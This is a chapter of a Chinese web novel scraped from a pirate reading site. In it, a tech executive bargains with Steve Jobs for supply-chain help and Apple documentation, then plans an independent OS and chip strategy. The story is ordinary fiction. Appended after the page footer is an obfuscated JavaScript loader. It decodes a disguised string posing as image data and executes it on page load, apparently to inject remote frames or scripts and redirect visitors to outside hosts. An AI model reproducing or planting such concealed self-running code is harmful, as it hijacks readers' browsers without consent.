首页
第317章 昆仑的未来
返回
关灯 护眼:关 字号:小

第317章 昆仑的未来

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    诺基亚手机业务,最后不能算是被苹果干死的,是它自己的傲慢。
    但若是没有苹果,至少临走的时候会获得一丝体面。
    前世的乔布斯或许直到临走之前都在算计诺基亚的市场地位,但此时此刻,他有一个更加纠结的心态。
    一边是腐朽的旧时代代表,一边是新的中国挑战者。
    而且相比诺基亚的高层,他更了解陈。
    陈很会利用各种条件谋取利益。
    所以陈学兵说的话,他压根不信,表达着一种较为冷漠的态度。
    上来就没来由地说诺基亚要针对他,谁信?
    肯定是想要点什么,所以找了个理由。
    陈学兵也知道他不信,便开始慢悠悠讲起了由来。
    “发布会的时候,中移动的王建宙给了我30万合约机订单”
    说了前因,他顿声道:
    “他们要合约订单。”
    “当然,肯定不是N95,从那台手机发布会的全球反馈来看,根本不愁卖。你知道,3G要做上网手机,如果是N95,王建宙肯定很高兴就答应了,两百万,三百万,他说不定都敢要。”
    陈学兵给了一些压力。
    对面的呼吸急促了一下。
    陈学兵这才道:“但他们只是想把一些垃圾塞班手机塞进中移动的3G合约订单里。”
    对面听到“Crappy”这个用词,略带舒适地长长嗯了一声,表示很认同。
    这才是触控阵营的队友,对其他类型的手机一定要有这样的态度和气质。
    尤其是诺基亚。
    “但是,现在中移动手里有了更好的3G终端,也就是我的麒麟,对于那些垃圾,不会给出太高的价格的。”
    “所以,他们要用手里最锋利的剑把我的麒麟手机拼出一个豁口,甚至直接斩断,从销量上完全打败我,或者从其他什么地方证明麒麟的性能缺失,以此证明触控手机才是垃圾,然后和王建宙谈条件,把他们那些宝贵的塞班手机高价卖到中移动手里。”
    乔布斯长叹了一口气。
    他觉得陈学兵说的不是假的,如果N95提前在中国发售,应该很快就会公布消息。
    而现在iPhone延期,导致苹果在2007年上半年丧失了对诺基亚的先手打击权,如果麒麟因供应链或技术体验问题被N95碾压,市场将形成“触控手机不堪一击”的认知,严重打击消费者、开发者及运营商对iPhone的预期。
    他不得不承认,麒麟现在是触控阵营的“唯一火种”,而且通过那场发布会,大家已经绑在一起了。
    乔布斯语气认真起来:“你打算如何应对?”
    “不至于太劣势.我们在TD技术上有很多盟友,诺基亚玩不转中国的3G标准,N95不太可能做TD版,很大可能会以2.5G标准进入中国,即使做了TD,也不可能表现太好。”
    陈学兵说着,心里有点爽。
    诺基亚可是模拟通信的霸主,从1G时代就在参与制定标准,也是GSM标准制定者,又主导开发了WCDMA协议,通信专利超过两万。
    此时能说一句“他们不如我”,虽然是在这样有限的空间下,又基于诺基亚根本没有研发过TD。
    但也是很爽的。
    他们基础专利再多,不代表能比展讯围绕TD夜以继日的研发拥有更好的增强效果。
    技术基底的不断增强,让陈总有种腰杆挺起来了的感觉,从销售成功上绝对找不到这样的充实感。
    也让他更加坚定了接下来要提出的条件。
    “嗯”陈学兵口吻再次转折:“但你知道,诺基亚的拍照和专业工具、耐用性确实都很强,他们的CEO卡拉斯沃甚至向王建宙表达我们只是「小众市场的玻璃玩具」,还说:谁会用一部不能换电池、没有键盘的手机?”
    陈学兵自行添加了一句,而后说道:“王建宙和我关系不错,这些都是转达给我的原话。”
    “FUCK!”乔布斯轻骂了一句。
    既不爽诺基亚,又埋怨麒麟和IPHONE实在太像了,连这密封性设计都一模一样。
    除了外观,麒麟几乎就是中国的翻版IPHONE,虽然IPHONE的系统要强得多,但对方也有他没有的互联网生态。
    所以他现在昼夜加班,敦促改造。
    陈学兵立马紧紧抓住了这个词汇:“什么??你要FUCK诺基亚?不不不,你们不行,即使你们来中国,也同样玩不转TD。”
    说罢,他略带自持。
    “在中国,你只能让我们代表你,FUCK诺基亚。”
    乔布斯知道对方要提条件了。
    从他的角度而言,如果真的打起来,他当然希望麒麟能活着消耗诺基亚,但他也知道陈的某些互联网思维超前程度甚至超过他。
    诺基亚N95要是败了
    当然,不太可能,销量上是绝不可能败的。
    但他绝不希望陈成为一个能对抗诺基亚而声名大噪的英雄。
    想着,他语气温和起来:“陈,其实我认为麒麟的设计远远超过N95,你有很多可以打败诺基亚的地方,在一些设计上,IPHONE也在向你学习。”
    陈学兵脸色一沉:“你准备吃诺基亚的第二枪?”
    “卡拉斯沃的语气听起来不是个友善的人,你应该能猜到他以后会怎么说你。”
    “那种居高临下,俯瞰着你的口吻”
    “美国是诺基亚更大的市场,你只能在他们的”
    陈学兵极尽挖苦之词,乔布斯脾气也不太好,几句之后便打断了他:
    “我已经答应你共享供应链了,你还想要什么?”
    “并非这样的共享,是深度共享。”陈学兵说完,又具体了一点,“你们要派人陪着我们去走一趟,协调产能。”
    “另外.”
    陈学兵迅速从桌箱里抽出一张写满了专业词汇的纸,看了看上面的内容,道:
    “我还需要你们的核心图形渲染引擎的底层优化文档与调试工具。”
    “昆仑OS需要达到媲美iOS的触控流畅度和动画响应,苹果在此领域是绝对的标杆。”
    “还有.系统级API接口规范,我们的电源管理、传感器响应精度需要提升。”
    “当然,我们只需要一些非敏感的硬件抽象层接口文档,特别是针对电容触控屏精准响应算法、低功耗传感器调度策略、高效后台任务管理机制的接口定义和最佳实践指南。”
    他在说这些的时候,旁边的卢韦冰已经够着身子过来看纸上的内容,赶紧拿起旁边一枝笔,在纸上添了个:
    触控!
    陈学兵摇了摇头。
    太敏感了。
    这张纸是他早就让林斌统计过来的,有可能能让IPHONE支持的技术文档,而非代码,而且属于系统级通用设计理念共享,不涉及iOS独有功能。
    昆仑UI是从苹果的交互逻辑开始抄起的,这套东西,苹果已经在电脑上研究了很多年,这些技术文档能大幅缩短昆仑的技术爬坡期。
    这些是昆仑系统有机会能享受到的光,再多就是奢望了。
    “还有核心元器件的可靠性测试标准与数据。”
    “你知道,他们很有可能买我们的手机去做跌落、温湿度循环、盐雾测试什么的,我们需要这些来建设测试体系的参考基准。”
    这也不算什么敏感数据,但在奇点这家没有生产过任何产品的公司来说,这方面的数据积累几近于零。
    以苹果公司深度打磨参数的态度和双方产品的契合度,他们的硬件磨合数据还是很值得参考的。
    乔布斯在电话那头沉默了几秒钟,只能听到细微的呼吸声。
    而后吱呀一声椅子摩擦地面的声音传来,乔布斯似乎站了起来。
    “陈。”
    “第一,供应链协调员,蒂姆会安排一个人,跟你们去跑一圈,但记住,他只负责沟通,不负责保证结果,苹果的影响力不是魔法棒,短缺就是短缺。
    “第二:图形渲染和系统API”乔布斯停顿了一下,似乎在脑海中快速评估着价值与风险,而后干脆地道:“可以给文档。”
    陈学兵露出笑意。
    但乔布斯接下来立刻泼了一盆冷水:“我们要签订协议,禁止反向工程,而且仅限于你们现在发布的这一款手机的OS版本迭代优化使用,我指的是V1.0,麒麟一代手机,仅此而已。”
    “文档会加密,会有严格的授权协议和审计条款,如果我们发现一丝泄露或者越界使用,我们的所有协议立刻终止,法庭见。”
    “第三,可靠性测试数据.”乔布斯这次停顿得更久,似乎更在意这些。
    “这些数据…是苹果工程师花费无数时间和心血,用显微镜一寸寸检查出来的,只能给你基准值和关键失效模型的部分摘要,仅限于跌落、温度循环、基本湿度,盐雾我想没有必要,中国海边的盐分和加州不一样。”
    “而且…”乔布斯声音陡然拔高,充满了警告:“这些数据是「参考」,不是「标准」!我可不想看到「麒麟手机参照苹果标准依然爆炸」的新闻!”
    他深吸一口气,像是在控制自己的不耐烦:
    “就这些,陈,这不是礼物,你最好真的能FUCK诺基亚。”
    工程师的味很重,考虑很周到。
    卢韦冰眉头深皱。
    而陈学兵也拿出了个人的土匪风格,很直接道:“技术文档我们一定会学的,否则毫无用处,我们不可能照搬你们的文档,这只会让麒麟变得更差,不过我们可以承诺不会产生专利纠纷,如果用到了你们的技术思路,可以付一些授权费,但你们要给一个友情价。”
    那边一言不发地狠狠挂断了。
    陈学兵嘴角咧了咧,看向卢韦冰。
    卢韦冰展颜笑了起来,抬手比了个大拇指。
    “这是我最后一次帮你们了,之后这种技术细节的事你们要自己搞定把昆仑系统技术部门的部门长都叫上,开个会。”
    陈学兵说着,又想起什么,“对了,诺基亚N95最早在哪个地区发布来着?”
    “肯定是他们的欧洲大本营啊!WCDMA!”
    “嗯想办法买两台回来,越早越好,另外打听一下他们的亚洲代工厂。”
    “咝”卢韦冰抽了口凉气,略带不解地看着陈学兵。
    陈学兵抬手,点了点桌子。
    “主动出击!”
    开了个会。
    麒麟的事,陈学兵只字未提,会议的议程是讨论昆仑系统优化和技术自主路线。
    陈学兵把昆仑OS的自主化,分为了五个等级。
    L1:内核掌控拥有Linux内核席位+主导子模块开发
    L2:协议栈重构,自研通信协议(替代TCP/IP)
    L3:硬件抽象层独立
    L4:架构指令集自主
    L5:工具链闭环,自研编译器
    这是陈学兵目前给大家拟定的发展大纲,也是昆仑OS真正的抗风险能力。
    准确地说,抗制裁能力。
    他首次在会上提出昆仑OS事业部要提升警惕性,建立对有可能的国外政策以及国际公司干预的风险评估体系。
    也提出了“自主等级越高,被干预的可能性就越低”的说法,要建立保密机制,到达一定层级的人员必须签署保密协议,也要发放协议补助。
    搞得大家都有点紧张。
    和亢奋。
    大家都意识到了董事长的重视。
    优化方面,昆仑系统事业部立即统计能够为系统完善提供的技术支持和公司名称,上交总部,由奇点和股安集团共同协调。
    另外商量了一下昆仑的海外名称,采用“麒麟英文”和“昆仑”的首字母,命名为“KOS”。
    安排完这些,陈学兵便打算离开深圳了。
    为了麒麟手机的事,在深圳上海来回穿梭,已经有两个多月了。
    尽管预售数量尘埃未落,但他不能继续再在这里耗着了。
    协议栈重构,架构指令集自主,这是昆仑的未来,接下来,他不得不面对一直在回避的问题。
    芯片。
    这两个字,每一笔每一画,都是数亿甚至数十亿,甚至单位要以美金计算。
    但到了这一步,不论他把所有环节算计得多么优秀,芯片仍是能瞬间卡住他脖子的问题。
    时间2006,算起来还有很多机会。
    但芯片的投入,需要一个极其庞大的资金池来支撑。
    股市,该投的已经投进去了,接下来的一年,再怎么算,能拿出的收益也不过百亿级别。
    听起来十分庞大的数字,但真要在芯片行业烧起来,恐怕还不够看。
    事情的发展,又回到了传统项目:
    搞钱。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();